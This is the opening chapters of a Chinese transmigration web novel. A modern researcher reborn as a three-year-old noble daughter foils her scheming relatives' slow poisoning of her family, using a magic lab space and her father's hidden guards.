《三岁小禾宝,把全家哭进侯府》
第一卷 第1章 娘亲,您要信我
“娘亲!呜……娘亲!呜呜呜……”
稚童哭喊声在这深冬雪日的凌晨显得特别突兀,一下打破了庄子里的宁静。
“欸!在呢,娘在!阿沅莫哭。”
柳氏从床上突地坐了起来,赤脚冲向门口。
“娘亲…呜呜!怕怕!呜呜…”三岁的小奶团赤着脚,只着单薄的里衣瑟瑟发抖,看见娘亲更加委屈。
她本想冲娘亲扑上去,却又不肯放下已经泼了一半的药碗,另一半药汁晕染得一地猩红,空气中弥漫着难闻的古怪药味。
“怎么自己跑出来了?奶娘呢?待会处置了她。”柳氏蹲下身,迅速抢过药碗,“啪”地放到一旁,一把将女儿搂住:“娘在,娘在,娘的阿沅别怕。”
进屋,关门,把手上的小奶团往棉被里塞,再屁股床上一坐,抬脚也插进被子,侧身半躺把被子里的女儿往自己身上一搂,柳氏动作几乎是一气呵成,但仍然连打了几个喷嚏。
阿沅如同袋熊一般紧紧挂在娘亲的身上,冰冷的手紧紧攥住柳氏的衣襟,脚也搭在她的肚子上,却比刚才抖得还厉害。
她哭声不停,满含恐惧的眼睛在泪光中扑棱扑棱地闪,“娘亲,窝怕!呜呜,大火,好大的火,爹爹被大火烧屎了。”
奶娃娃虽然口齿不清,但结合她的脸上的神情,就像在诉说一个恐怖的真实故事。
“那是阿沅在做梦,梦都是假的,别怕,娘在呢,爹爹也在床上。”柳氏轻拍她的背哄。
“呜呜,是真的,大火烧屋,爹爹疼,呜呜……”
不待柳氏继续开口,小奶团又冲口而出:“嘚嘚也疼,嘚嘚被好多人追…打断了腿,看见骨头,好疼,呜呜,后来…也屎了。”
柳氏:这梦太毛骨悚然,难怪把孩子吓成这样,心里忍不住又咒骂起了奶娘。
“四个坏婆子灌娘亲喝黑黑的坏药,娘亲说不出话……绑上马车…呜呜…破庙里…脏脏的乞丐。”
本想先聆听,再安慰,但听到这里,柳氏的手顿住,忽然觉得脊背一阵发凉,嘴里也发不出声。
床忽然震了一下,床那头里侧的男人发出痛苦又微弱的抽气声。
“那是坏药,不是救爹爹的,呜呜!喝了爹爹就动不了啦!”
“嘚嘚不柒傻傻的药,不柒不柒;娘亲柒坏药…变哑巴…绑马车……丢乞丐窝。”
“后来……窑子里……窝也屎了。”
奶声奶气说到最后两个字时,阿沅的上下牙齿一直在打架,身体也抖个不停,仿佛那可怕的一幕还在眼前。
床上的男人忽然睁开眼,他眼神忽明忽暗,淬满了毒,被子里的手也捏成了拳。
柳氏的心突地收紧,下唇咬得渗出了血。看向女儿手上的药迹,再凑下去一闻,眼神突变。
她忽然意识到,老太太没有那么好心,二房也没有那么好心,而是满嘴毒牙,看不得他们大房好。
夫君的断腿本没有那么严重,却因为天天进补,成了瘫子。
儿子本是读书的料,却出声变故,一朝变成痴傻。“安神汤”一碗碗灌进去,现在大半时间认不出她这个娘。
她产后虚弱,用的也是老太太搜罗来“补血补气”的药方,身体日渐破败。
阿沅停止了哭泣,软软的小手抚上了娘亲的脸,小脸坚定,“娘亲,泥要信窝,不要柒坏坏的药,爹爹不柒,嘚嘚不柒,泥也不柒,听神仙姑姑的。”
“窝要救爹爹,救嘚嘚,窝不要他们屎!”
“阿沅……”柳氏心乱如麻,面对褪去惊恐像是变了个人似的女儿,一知竟不知如何回答。
“不柒药,打坏蛋,神仙姑姑帮忙。”阿沅高高举起了自己的拳头,敲向了门口方向,似乎仇人就在前方。
床上原本死了半截的人,忽然动了动,柳氏的脚腕瞬间被紧紧握住,她吓得轻呼一声:“夫君?”
“云娘……”男人哑着嗓子,用尽力气才发出微弱又决绝的声音:“听阿沅的!”
“好!”柳氏脱口而出,然后自己都愣了一下。
她的脚底一松,那头就没有了声响,仿佛刚才的声音就是空穴来风。
……
就在一个时辰前,来自公元二十一世纪的孟沅忽然被冻醒,只翻了个身就发现了身体的不对劲。
姜沅知道自己死了,死在了农学院重点实验室的爆炸中,熊熊大火吞没了一切,包含她在内的所有人和物件都被大火吞噬,成为了一堆灰烬。
她现在是一具古代奶娃娃的躯体,随着原主的记忆涌来,她知道到她穿书了。穿到了大康朝安平侯府唯一的长房嫡女——三岁小娃娃孟沅的身上。
虽然看书都是一目十行,但凭着前世还算不错的记忆,她很快把原著从头到尾捋了个大概。
原书的作者三观不正,不但没有惩恶扬善,还让恶毒的二房踩在大房功勋和白骨上,继承了侯府爵位,活得逍遥自在。
她记得书里最悲惨的情节是:
被同父异母的弟弟设计毒杀,跌下马背,断了双腿的侯府嫡长子,也就是孟沅的爹爹孟大川,在连续喝了三个月的毒药后,还被一场“意外”的大火烧得尸骨无存。
孟沅的呆傻大哥孟怀瑾,被恶奴怂恿跑去书院偷书,惨遭十几人残忍打断手骨,苦熬两年后也死了;
孟沅的母亲柳云娘,被灌了一碗哑药,再绑马车拉去破庙,任由乞丐流民糟蹋。最后不堪受辱,一根腰带上吊而亡;
这一切灾难发生后,原主被接回了侯府,也开始了她悲惨又短暂的人生。
最后被她的“善心”堂姐骗出府,卖进了最下等的窑子。小小年纪冬日里也必须要清洗所有人的衣服,一次伤寒就要了她的,死在不过七岁那年。
这一切悲剧的产生,全是继祖母和二房一家的阴谋算计。
究其原因,只因她爹孟大川是侯府嫡长子,本应承爵的人。
老侯爷当初是忽然去世,还未来得及请命让他承爵,为了保全侯府荣耀,孟大川主动请旨去往边关杀敌,他在战场浴血奋战将近三年,虽然换来一身伤,但也算是战功赫赫。
五个月前,孟大川回京复命。
没想却在离京城不到百里的路上,战马忽然发狂,踏断了他双腿,直至现在瘫在床上。
侯府拿孟大川的战功换取了老太太的的一品诰命,满府荣耀。可转身就以孟大川需要静养、孟怀瑾需要治病为由,把大房一家远远打发到这偏僻的庄子上。
为使袭爵名正言顺,又痛下黑手,设计对他们大房斩草除根。
小说里:孟大川下身失去知觉是在服药后的第三个月,被烧死就在来到庄子后的第四个月,而现在他们待在庄子已经三月有余,孟大川的下身也已经瘫了。
阿沅无语望天:老天爷,救人不需要时间的吗?我三岁小娃手短脚短,又没有风火轮,如何跟时间赛跑,才能从阎王爷的铁链中夺人。
第一卷 第2章 爹爹,我先救你半条命
阿沅肉乎乎的掌心有个淡粉色的小胎记,像水滴也像花瓣,很是好看。
这是穿越到这里,老天送给她的最大奖赏:是空间,也是金手指。
只要捏着胎记意念一下,就可以轻松进入她原本工作的实验室,那里有进行试验的种子,有设备,也有一些科研资料。她偷拎进来,炮制和没炮制过的药材和药丸也有不少。
实验室前面是围墙圈起来的一个独立院子,种有花草,还有健身器材;实验室的侧间是她平时午休的小单间,里面尚存一些简单的生活用品,有漂移功能,但只能在四五平方的小范围内移动。
既然上天给了她改写剧情的机会,让她替原主重新活一次,那就不能辜负。
所以就在刚才,她赤脚站在爹娘门口,就已经有备而来。
她设计了所谓的“噩梦”和“神仙姑姑”,用最稚嫩的声音说出最残酷的真相,就是为了让娘亲和爹爹能够相信她,支持她。
试想,一个三岁孩子嘴里突然冒出如此惊险的剧情,大人未必肯信;但若只是“做了个梦”,又得“神仙姑姑”帮助,而情节跟每一个亲人都息息相关,在这信奉鬼神的世道里,反而有一线胜算的可能。
看刚才爹娘的反应,她成功做到了。
显然他们是相信的!小有小的优势,能哭、能闹、能撒娇卖萌。
侯府的人等着吧!
阿沅——我~回来了!我定要带着家人重回侯府。
“娘亲,别怕!神仙姑姑教窝救爹爹,救嘚嘚,打坏蛋。”阿沅咬着牙,高高举起了自己捏紧的小拳头,像极了小哪咤。
柳氏强压住震惊,把思绪往前捋了一遍,确信自己没有为菩萨重塑过金身,就算寺庙里的香火钱也少有供奉,自然不敢相信“神仙姑姑”真的会出手相救。
眼前稚嫩中用带着点认真的小人儿,还以为打坏蛋就是过家家呢!
柳氏哪里还睡得着!看女儿不再颤抖,而是陷入半梦半醒,她马上起身穿衣梳洗。
身边的温暖的躯体刚刚离开,被子忽然被掀起一角,小家伙撅着屁股的,连滚带爬,几下就到了床的另一头。
小奶瓢下巴抵在自己胖乎乎的手背上,一双黑珍珠般的大眼睛扑棱着,看向孟大川那张已经形如枯槁的脸,用力,加油,两颗药丸强行塞进嘴,奶萌奶萌的道:“爹爹,窝先救泥半条命。”
忽然被强掰的力道,加上苦涩的触感,孟大川忽地睁眼,射出的光如同强火猛兽,看似能毁灭眼前的一切。
然而,对上那双清澈又透着懵懂的大眼睛时,凌厉突变温柔,嘴角弯成自认为最好看的怪异表情。
小家伙立马惊喜,奶声奶气哄人:“爹爹,泥要快点醒来,和阿沅一起打坏蛋哦。”这语调,像极了平时柳氏哄她的语气。
女儿怎么那么可爱呢!好想摸摸她的小脑袋,孟大川却连抬手的力气都没了,只能眨眨眼睛努力回应。
随之嘴唇开始蠕动,把已经融化的那股苦涩吞咽了下去,直至陷入沉睡。
柳氏自己穿戴齐整,又过隔壁女儿屋里找衣服,帮挂熊一般又贴过来,一定要黏着她的阿沅穿好。这么大的动静居然没有惊动任何人,本该守院的婆子,丫鬟、奶娘的影子都不见。
柳氏恨得咬了咬牙,指甲掐进掌心几近出血,心里“呵呵”冷笑了两声。
“阿沅,乖乖坐在这里,等娘。”把女儿抱出来,按在堂屋高高的门槛上。再从贡桌上取了两块糕点,放进门口那只孤零零的药碗,走向院角。
看见端着食物的主人,守门的黄狗屁颠屁颠跟了过去,它显然是冷饿了,嗅都不嗅一下,糕点就囫囵进嘴。
吞咽下去没出几息,黄狗突然倒地不起,两眼似有控诉般哀怨看向主人。没死,但并好受的样子。
柳氏脸色白得如同地上积雪,盯着那支药碗一动不动,这就是老太太送来的“好药”。
阿沅乖乖坐在门槛上,摇着她的两条小短腿,对院角里发生的事一点都没觉得意外,眼中也没有一丝惊恐之色。
“娘亲,狗屎啦吗?”孩童特有的口齿不清脱口而出,“剩下的药别扔,窝拿回侯府喂奶(祖母)。”
柳氏惊愕回头,看着远远的那团小人儿竟然有片刻的恍惚。
直到回到女儿面前蹲下身,目光都没从她身上离开。阿沅还是她的阿沅,可好像已经不同了。
“娘亲,泥信窝。”小家伙站起来跺了跺脚,小脸忽然现出狠劲,一字一顿,“他们都该屎……按进雪里……踩屎!”
她露出几颗小米牙,声音有点甜,但句句渗人:“娘亲,按进雪地里……浇热水……冻雪人,好不好?让他们死不了坏,只能瞪眼睛。”
明明是奶凶奶凶的小人儿,却透出如同小狼崽般的狠劲。
“娘的阿沅~娘信!他们应该自食恶果,血债血偿。”柳氏一把揽过,这还是他们的女儿,不可能是什么妖魔鬼怪。
可是她的话能信吗?除非夫君能够重新爬起来,不然哪来的办法?
阿沅当然有办法!
她从小就生活在身为知名老中医的爷爷身旁,耳濡目染,精通中医,也懂得理毒。
前世虽然爱岗敬业,但也藏着些许私心,闲暇之时会利用实验室里的精密仪器帮爷爷熬制药丸,还有不少堆在她的小隔间里,现在倒是帮了她的大忙。
但她三岁小娃,单打独斗确实有失违和,小身板也不够别人一盘菜。她需要助力,需要跟班、也需要人给她打掩护。
现在的首要任务是救命,救爹爹,救哥哥。
只有他们好了,才能成为自己助力。在古代,夫和子要是没了,孤女寡母也撑不下去,所以,他们必须活着。
先救命,再手刃仇人,最后再搞事业。
阿沅小拳头攥得紧紧的,已经下定了决心。
第一卷 第3章 哥哥,我们去找娘亲
爹爹沉睡,娘亲发呆,阿沅出门就往旁边拐,小脚印在雪地里密密扎扎。也没注意身后有个跟她大不了多少的小身影,已经默默跟随,同样脚步飞快,很快就越到了她前头。
“小姐,怎的那么早?害得奴婢好找。”小姑娘小圆脸转头冲小姐笑,嘴里是埋怨的语气,却背着手环过她的小身子。
“红袖…”奶团子兴奋的声音拉得老长,如同见到了久违的亲人,毫不犹豫扑她背上。
原主记忆里,这是陪伴她直至生命终点的忠仆,只比她大四岁。
原主被堂姐哄骗的时候,红袖坚持跟着,才一起被卖入窑子,最后被恋童癖的老色狼折磨死了。
书中对红袖的描述是:不聪明,学东忘西,心眼直,不讨喜。但听话、忠心,但凡有人欺负原主,她能用命去挡。
“小姐是要去看少爷吗?”
“嗯嗯,阿沅想嘚嘚了。”小阿沅趴在小姑娘并不宽大的背上,还贴上去“啵”了一下,小脑袋点得像捣蒜。
距离不过百来米,屋子里头传来“咚”的撞墙声,停一下又撞一下,让人听了心里发紧。
阿沅圈住脖子的手稍稍用了点力,示意她停下,红袖脚步顿住。
屋子里面关的是孟怀瑾,他平日里痴痴傻傻又闹腾,一个不慎就乱跑。
既怕他惊扰病中的夫君,又担心跑出去出事,柳氏听了庄头的建议,安置在这远点的屋子,平日里有小厮和婆子照顾。
阿沅好想哭。
侯府嫡长孙极其聪慧,十三岁就中了秀才,还是榜首,夫子说有状元之才。如今被“安神汤”毒成痴痴傻傻,头痛发作起来,几人都按不住。
“红袖,泥先回去,窝看看嘚嘚。”红袖听话把小姐放下,又向前紧走了几步,静静站着像只忠犬,并没有离开。
阿沅推门,半个身子挤进去,大冷的天,清瘦的少年棉衣敞开着,露出里衣,也不知道冷。
他此刻正跪在墙角,额头已经血迹斑斑,模糊一片。头却还在一下一下往墙上撞,他每撞一下,身子也跟着痛苦蜷缩一次。
嘴里声音断断续续:“子曰~学而时习之~之乎者也~撞开~夫子~读书~”
阿沅举起一只软乎乎的小手掌,垫到了哥哥撞击的墙上。
“砰”一声闷响,重重的力道撞进了她的掌心,她跳起来龇牙咧嘴,眼意瞬间涌上来,对上哥哥懵懂又无知的眼,却又硬生生憋回去,试着用她的小童音说教:“嘚嘚,别撞,墙坏,手疼。”
可能是她的声音太过甜腻,又太过温柔,孟怀瑾瞬间愣住不再撞墙,而是迟缓转头正视她。
少年清冷俊秀的脸,明显呆滞的眼神,盯着像哭又像笑的奶团子,没一会也裂开了嘴。
他轻轻碰了碰那只冰冷中透着温热的小手,像是被烫到一般缩回了手,过一会手又慢慢伸出来,这回变成了温柔的触摸。
“疼”他说话了,眼里还流出眼泪,“疼……”
阿沅瞬间觉得所有疼痛都消失无踪,她用袖子轻轻擦拭哥哥额头的血,动作笨拙,奶声奶气:“嘚嘚,不哭,阿沅给泥糖。”
递给他一块小单间里的零食——花生牛轧糖,“甜的,嘚嘚吃了头不疼。”
少年像只温顺的大狗,也不接过,只是乖乖张嘴,阿沅泪目,看到他就想到了床上躺着的爹爹,趁机也塞了两颗药。
可能是甜度压住了药的苦味,孟怀瑾眼泪瞬间止住,又咧开嘴笑了,傻乎乎的:“甜…甜!”
阿沅在心里把侯府祖宗十八代抽了鞭刑,笨拙地帮哥哥扣棉衣的扣子,再牵着他往外走:“嘚嘚,窝们去找娘亲,去看爹爹。”
看他们走出去几步,红袖才慢慢跟在后头,踩雪都没有发出声音。
来这么久了,本该照顾哥哥的砚书没有出现,婆子也不知去了哪里鬼混。阿沅眯起眼睛,这应该就是前世怂恿哥哥往外跑的,留不得。
记忆里书中的情节不够完整,只知道孟怀瑾跑出去的时间是在孟大川被烧死之后,却拼不出具体发生的时间。
哥哥必须回到她和娘亲眼皮底下安全。不然变故提前发生,她两头都顾不上。
“…小…姐,…少…少爷…”
守门的婆子现了身,她看见兄妹俩一大早就从外面回来,满脸都是掩饰不住的震惊,嘴巴微张,眼睛瞪得老大。
特别是看见素日里痴痴呆呆,此刻却乖乖巧巧、不吵不闹,甚至穿戴得整整齐齐,如同正常孩子一般拉着小姐的大少爷时,她瞳孔骤然一缩。像是看见了什么怪异的诡事,连话都说不顺溜了,磕磕巴巴,气息不稳。
“刚才泥哪去了?”阿沅立刻举起小拳头,圆溜溜的眼睛瞪着那婆子,心里已经给她判了刑,开了一刀,质问的语气一点也不客气。
看这婆子脸上那副见了鬼似的震惊模样,就知道这绝不是个忠心的,没准就是书里描述过的、把柳氏绑上马车的帮凶之一。
“老奴…老奴方才内急…实在憋不住,上了趟茅厕。”婆子眼神闪烁,不敢与阿沅对视,心虚已经明明白白写在脸上,那副唯唯诺诺、刻意放低姿态的样子,一看就是装出来的,演技拙劣。
“迟早窝要收拾泥。”阿沅心里怒骂,小脸气得鼓鼓的,更是埋怨开了:这穿书的体验,还不如做个预知梦呢!好歹做梦时,可以给坏人脸上都贴着标签,不用像现在这样,得靠观察猜测,费神费力。
“娘亲,窝们回来了。”
正思忖间,柳氏闻声从屋里迎了出来。“你这孩子,”她显然是后知后觉女儿跑出了去。
这会儿看见儿子也好好地一起,才恍然醒悟:“阿沅是特意去找哥哥了?好歹跟娘亲说明白一声,也省得娘亲平白担心一场。”
阿沅本已做好了挨几句数落的准备,没想到柳氏只是略带嗔怪地说了一句,便快步挤到兄妹二人中间。
一手拉起阿沅的小手,另一手试图去牵孟怀瑾,语气里透着满满的慈爱与后怕的欣慰:“手怎么都这么凉?定是在外头吹了风。快进屋暖和暖和。”
往台阶上走的时候,柳氏忍不住频频侧目,多看了几眼异常安静、一声不吭的儿子,心里着实奇怪:这孩子今日怎会如此听话?不哭不闹,不执拗躲闪,居然能乖乖跟着阿沅回来,这简直是破天荒头一遭。
“红袖!快过来,服侍小姐回屋换身干爽衣服,仔细别着了凉。”
柳氏又冲外头吩咐,“早饭就摆到屋里来吃,一家人一处暖和。”
“是!夫人。”红袖和青衣同时清脆地应声。
话音未落,红袖已利落上前,弯腰一把抱起阿沅,脚步匆匆去往旁边的厢房,行动干脆,一点都不含糊。
第一卷 第4章 娘亲觉醒
孟怀瑾闻言呆滞了一下,脚步顿住,目光有些茫然地追随着被抱走的妹妹,直到看着那一大一小两个身影进了隔壁屋子。
房门关上,他才像是失去了指引,又恢复了那木木的样子,任由柳氏牵着他的手,将他拉进了主屋。
“泥也回去换衣服吧,窝要睡觉觉啦。”红袖手脚麻利地帮阿沅换掉已经被雪融微微濡湿的衣裤,又想帮她套上一双干爽暖和小棉鞋时,阿沅却不依了,小身子一扭,直接手脚并用地往床上爬。
她一边爬,一边嘴里还嘟囔着自创的顺口溜:“起早早,困饱饱;睡觉觉,长高高。”红袖最是听话,见她这般,也不强求,顺从地帮她掖好被角,看她乖乖闭上了眼睛,这才轻手轻脚地掩上房门,退了出去。
房门一响,床上的小身影立刻“噌”地一下坐了起来,哪里还有半点睡意?她警惕地听了听门外动静,确认无人,手一捏,心念一动,小小的身子便从原地消失,进入了她的神秘世界。
阿沅在小单间里还真是手忙脚乱,取下装有解毒药丸的白瓷小瓶,再按照记忆中的方子,拣选几样替换用的、药性温和有利尿排毒的普通药材,这些对她来说倒不算难事。
就是到了分包的时候苦了她。那用来包药的方形桑皮纸又薄又韧,她的小胖手怎么都折不好规整的小包,好不容易歪歪扭扭地裹住了药材,想用细棉线捆扎固定时,手指又不听使唤,不是线打滑就是系不成结。
反复尝试了几次,弄得小脸通红,鼻尖冒汗,面前还是一堆散乱的药材。
“唉!”她丧气地叹了口气,看着自己笨拙的小手,终于决定放弃精致包装。干脆找来几个干净的素色小布袋,把药丸和分好的药材分别胡乱塞进去,袋口一拉,就算完事,总归娘亲也不难分。
她拎起几个小布袋,心念一转,便出了空间。
明明感觉在空间里折腾了许久,可出来一看,外面天色似乎没什么变化,也还没人过来招呼吃晚饭。
她爬下床,搬了个小杌子垫脚,扒着窗户沿,把小脑袋探出去瞧。正好看见红袖换了身干净衣裳,脚步匆匆地刚走上正房的台阶。看来,这空间里的时间流速,果然比外面快了三倍不止,这倒是个意外之喜。
“娘亲,”阿沅拎着她的小布袋,抬腿进了娘亲的屋,见外屋除了柳氏,并无其他丫鬟婆子,立刻蹬蹬蹬跑过去,把手里的几个小布包一股脑儿塞进柳氏怀里,压低些许声音,神秘兮兮地说:“神仙姑姑给哒好药,换掉坏药。”
她小嘴巴哒哒不停,又补充着“医嘱”:“够煎十次哦!”
还竖起两根短短的小手指,强调用量,“瓶瓶每次两丸,爹爹和嘚嘚柒了还有。”
也不管柳氏脸上是何等错愕、惊喜又难以置信的复杂目光,她交代完毕,便像完成了重大任务,转身蹬蹬蹬就往里屋跑。
里屋,孟怀瑾手里拿着一本闲书,坐在床边的脚踏上,眼睛一眨不眨地看着床头昏睡的孟大川,眼神依旧是空茫呆滞的,仿佛只是找了个固定的地方安放视线。
“嘚嘚,窝要上去。”阿沅说着,小手一扒床沿,小短腿努力一蹬,就想顺着孟怀瑾的腿往上爬,企图爬到床上去。
孟怀瑾正沉浸在自己的世界里,猛然感觉腿上一沉,受惊似的一抖,阿沅本就攀得不牢,这下差点直接滑掉下来。
就在这小小的身影要栽倒的瞬间,后衣领子被一只大手及时拎住,阿沅整个人顿时被吊在了半空,一双小短腿无助地凌空蹬了几下,最后只能扭过头,与拎住她的孟怀瑾来了个大眼瞪小眼。
孟怀瑾的眼神里似乎有了一丝极细微的波动,像是平静的水面被投下了一颗小石子。
直到阿沅再次发声,小手急切地指向床头:“嘚嘚,看爹爹!”孟怀瑾像是接收到了清晰的指令,这才小心翼翼地将她轻轻放下,任由她像只小皮球似的扑在了柔软的棉被上。
阿沅在棉被上弹了弹,嘻嘻笑起来,自己揉了揉小屁股:“一点都不疼。”
随即,她手脚并用地爬到孟大川枕边,小奶娃趴在沉睡中的爹爹耳边,开始了她啰啰嗦嗦、絮絮叨叨的“唤醒”工作:
“爹爹,柒了好药,泥要快快醒过来哦!”
“要是屎掉了,就只能钻到地下去,黑乎乎的,不好玩。”
她歪着小脑袋,似乎想了想,又用一种半是威胁半是玩笑的调皮语气,小声嘀咕道:“要不…干脆换个新爹爹啰?找个能陪窝玩的!”
说完,自己还捂着小嘴偷笑起来,仿佛说了个顶有趣的大秘密。
早餐只有白粥和鸡蛋,咸菜只有一小碟,还是柳氏的贴身丫鬟青衣直接端进来的,端进来后很快便转身出去,也不伺候他们用饭,脚步还挺急。
这伙食明显比原主记忆中的还要简单粗糙些,阿沅心里好奇,仰起小脸,一双乌溜溜的眼睛望向柳氏,奶声奶气地问道:“娘亲,我们没银子了吗?”
“阿沅说什么呢?是厨房没了人。”
柳氏脸上勉强露出一个微笑,伸手拿起一个鸡蛋,轻轻在桌沿上磕了磕,分别放进两个孩子面前的碟子里。
这才转向阿沅,温声解释:“娘亲刚刚吩咐了紫衣姐姐,让她把咱们院里几个婆子全都发卖了,二等、三等丫鬟几个不安分的也卖了。周嬷嬷年纪大了,也到了该荣养的时候,今日便送她归家。”
“嘿嘿!所以,娘亲的意思,银子还是带了出来的,不是一穿书就一穷二白,不幸中的万幸。”阿沅笑得没心没肺。
第一卷 第5章 爹爹苏醒
阿沅放下手里正剥着的鸡蛋,拍起了小手,一双小短腿在椅子下快活地一晃一晃,显然非常满意,“神仙姑姑正是这么说的,这叫~清~清~”
她“清”了半天也没说下去,小脸憋得有些红,忽然转向旁边安静的孟怀瑾,一脸希冀加询问,“嘚嘚,”那模样,像是笃定哥哥一定知道。
“清君侧!”孟怀瑾正专心致志地对付手里的蛋壳,闻言头也没抬,嘴里却自然而然地应上了。
“瑾儿…”这一声虽轻,却足以让柳氏热泪盈眶。虽然儿子仍未抬头看她,但这已是许久以来难得的回应,让她心中那潭死水般的绝望,微微漾开了一丝希望的涟漪。
“阿沅,”柳氏稳了稳心绪,又用商量的语气对女儿说,“奶娘,娘亲也想放她归家,可好?”阿沅毕竟喝过那奶娘几年的奶,自然感情不同,会舍不得。
阿沅立刻把小脑袋摇得像拨浪鼓,小手指还刮了刮自己粉嫩的脸蛋,“阿沅只要红袖,长大了喝奶奶…羞羞。”那意思很明显,就是随便娘处置的意思。
看向哥哥,她小脸沉思了一会儿,似乎想到了什么,又转向娘亲,小嘴一撅,告起状来,“他们丢嘚嘚一个人,不好!”
“这个娘知道,”柳氏目光坚定起来,“那两个跟着哥哥的,也留不得。”
这是柳氏思量了作出的决定。一下子要处理这么多伺候久了的人,她本还有些犹豫和不忍。
但看到女儿一副大加赞赏的欣喜表情,甚至还主动用“神仙姑姑”的话来提示她,心下顿时踏实了不少,那点不忍也被压了下去。
神仙姑姑给女儿提示的梦境里,将来会给她灌药、绑她上马车、扔她到乞丐窝的,正是四个婆子。因此,院里的婆子是一个都不能留,即便是从娘家带来的陪嫁嬷嬷也不例外。
为了保住一家人的性命,她宁可错杀一千,也绝不放过一个。
阿沅自然是高兴的,连带着碗里的白粥似乎都香甜了许多,比平时多喝了小半碗。她高兴娘亲能及时清醒,处理起人来雷厉风行,动作比她预想的还要快,省了她不少拐弯抹角提醒的口舌。
柳氏安排完这些便没有再说其他,阿沅喝完最后一口粥,用小手先指了指沉默的哥哥,又站起来努力比了比自己的小身板,奶声奶气却意有所指地说:“娘亲,寄己保护不了寄己。”
她年纪小,口齿还不甚清晰,但那担忧的神情却明明白白。
柳氏正要收拾碗筷的手顿了顿。这点她不是没想到。如今身边能绝对信任的,也就青衣和紫衣两个贴身丫鬟,紫衣已经被派出去办事,青衣光是照应他们屋里这几个人都够呛,若真有点什么事,只怕是分不了身,也没那个能力。
但她还是先给了阿沅一个宽慰的、勉强挤出的笑脸,“阿沅别担心,娘亲已叫紫衣姐姐另买几个身强力壮、老实本分的婆子回来。”
“欸!”阿沅眉头轻轻一拧,发出了一声小大人般的叹息,似乎对娘亲的安排仍不完全放心。她心里想着“要是再有护院就好了”,而且“还不能少”,但这话只会加重娘亲的心理负担,便只化作了一声叹息。
“云娘…”床上传来一声虚弱却清晰的轻唤。
“爹爹醒了!”阿沅动作比谁都快,哧溜一下滑下椅子,拉住孟怀瑾的手就往床边跑,指着床榻对哥哥撒娇,“嘚嘚,觉觉!”还做了个想爬上去的动作,这一回孟怀瑾很是配合,一提溜,阿沅就上了床。
“爹爹,泥要干嘛?”孟大川已经醒来,此刻正用他那枯瘦如柴的手,颤巍巍在枕头底下摸索着什么。阿沅连忙凑到爹爹身边帮忙。
“阿沅,别闹你爹爹。”柳氏端着半碗白粥,见状立刻停在原地。看见夫君醒来,她本已热泪盈眶,再瞧见父女俩的脑袋几乎贴在一起,生怕女儿不知轻重压着虚弱的夫君,连忙柔声喝止。
阿沅已经从父亲手里接过那东西。那是一根约莫两寸长、小指粗细的物件,非金非木,颜色沉暗,入手微凉,看不出具体是什么。她忍不住好奇地翻来覆去打量。
“阿沅,吹~”孟大川连声催促,虽然气息有些短促,脸上却没了之前那种灰败的死气,眼神也清明了许多。
“夫君别纵着她,既醒了,妾身先吃几口粥,暖暖胃。”柳氏抹去眼角的泪,先将粥碗放在床边小几上,然后小心翼翼地将孟大川搀扶起来,在他身后垫上软枕。
已经让到床里侧的阿沅,此时已经意识到孟大川给她的并非普通玩具,而是一种另类的、用来召唤什么的哨子。
她嘟起小嘴,对准那物件一端开口的位置,憋足了气使劲往里吹。连续试了几次,小脸已经憋得通红,那哨子却没有发出一丝一毫的声音。
这边,柳氏将温热的粥喂了孟大川几口。看见夫君虽然苍白但有了生气的面容,又见他目光温柔地掠过呆呆坐在床尾的儿子,最后宠溺地落在鼓着腮帮子吹哨的女儿身上。柳氏心里那块压得她喘不过气的大石头,终于稍稍挪开了一些。
她忍不住凑在孟大川耳边,声音带着哽咽后残余的颤抖,低声絮语:“神仙姑姑真的给了好药,不然妾身都以为,都以为……”后面的话哽在喉头,化作滚烫的泪水,再次滑落。
“有我在,”孟大川的目光始终没有离开努力和哨子对抗的女儿,声音虽弱,却带着一种磐石般的沉稳,“有阿沅,都会好的。”这句话,既是对妻子的安慰,也像是一种笃定的宣告。
第一卷 第6章 暗藏的助力
“笃,笃笃,笃笃笃!”靠外的窗户忽然被有节奏地轻轻叩响,把正全神贯注对付哨子的阿沅吓了一跳,她小身子一抖,下意识地就往爹爹怀里扑。
孟大川伸出虚弱的手臂,稳稳地接住了她,轻轻拍了拍她的背,“别怕,是爹爹的人。”
他低声哄了阿沅一句,随即转向窗口,语气虽轻,却带上了一种阿沅从未听过的、属于上位者的淡淡威严,“进来吧。”
窗户应声被无声地推开,一道黑色的身影如同灵活的狸猫般悄无声息地掠了进来,落地时几近无声。
阿沅的眼睛立刻亮得像夜幕中的星子,她看看手中这枚发不出声音的神秘哨子,再看看眼前这个一身利落黑衣、面容普通却眼神锐利的男子,内心早已狂喜乱跳。
这剧情走向不错啊!居然还有暗卫这等人物存在!看来这个爹爹,并非表面看起来那般简单。
只是,欢喜之余,一丝疑虑也悄然爬上心头:这一家明明暗藏这样的助力,前世的记忆中,为何会落得那般凄惨的下场?几乎毫无还手之力。
难道仅仅是因为孟大川猝然早逝,这些力量便随之烟消云散,或是无人能够调动了吗?
她晃晃脑袋,暂时压下这纷杂的思绪。不管怎样,这无疑是天道对奶娃娃的厚爱,总会在绝境中顺带给出一点生机和惊喜。
“主子,孟柒来迟,请主子责罚。”黑衣人进屋后目不斜视,径直面向床榻,看到床上形容憔悴却眼神清明的孟大川,毫不犹豫地单膝跪地,那“扑通”一声地板都震了震,听在阿沅耳里都觉得膝盖疼。
“选二十名精干护卫,最迟明日进庄。”孟大川没有任何废话,直接下令,语气平静却不容置疑,调派二十人听来如同安排一桌饭菜般简单。
“另派四名暗卫,暗中护卫此院,需得严防死守,不得有误。”
“是!属下遵命!”自称孟柒的黑衣人恭敬应声,语气斩钉截铁,毫无犹豫。
“还有,”孟大川的目光转向安静的儿子和一脸好奇的女儿,略一沉吟,补充道,“再为夫人、少爷和小姐,各自挑选两名会武功的贴身侍从。”
他顿了顿,特意加重了语气,“年岁与少爷、小姐相差不要太大,以便近身护卫,亦能相伴。”
“属下明白,暗卫即刻便到,其余的——明日之内便安排妥当。”
直到黑衣人领命,身形一闪飞掠而出,窗户也随之悄无声息地关上,柳氏都还怔怔地呆站原地,有些回不过神来。
这也难怪,十几年的夫妻,她只知夫君有些本事,在军中必然有些旧谊,却从未见过、甚至从未想象过他竟有这般,如同军中将领调兵遣将般的威势和隐藏力量。
“爹爹,爹爹!”阿沅小手扒着爹爹的胳膊,仰起的小脸上写满了孺慕和佩服,那双大眼睛里更是闪烁着毫不掩饰的、略带狗腿的讨好光芒,“嘻嘻!”
“阿沅可是有话要说?”奶娃娃那点鬼马小心思毫不掩饰,几乎全写在脸上,孟大川哪里会看不出来?他眼中闪过一丝笑意,声音也柔和了些。
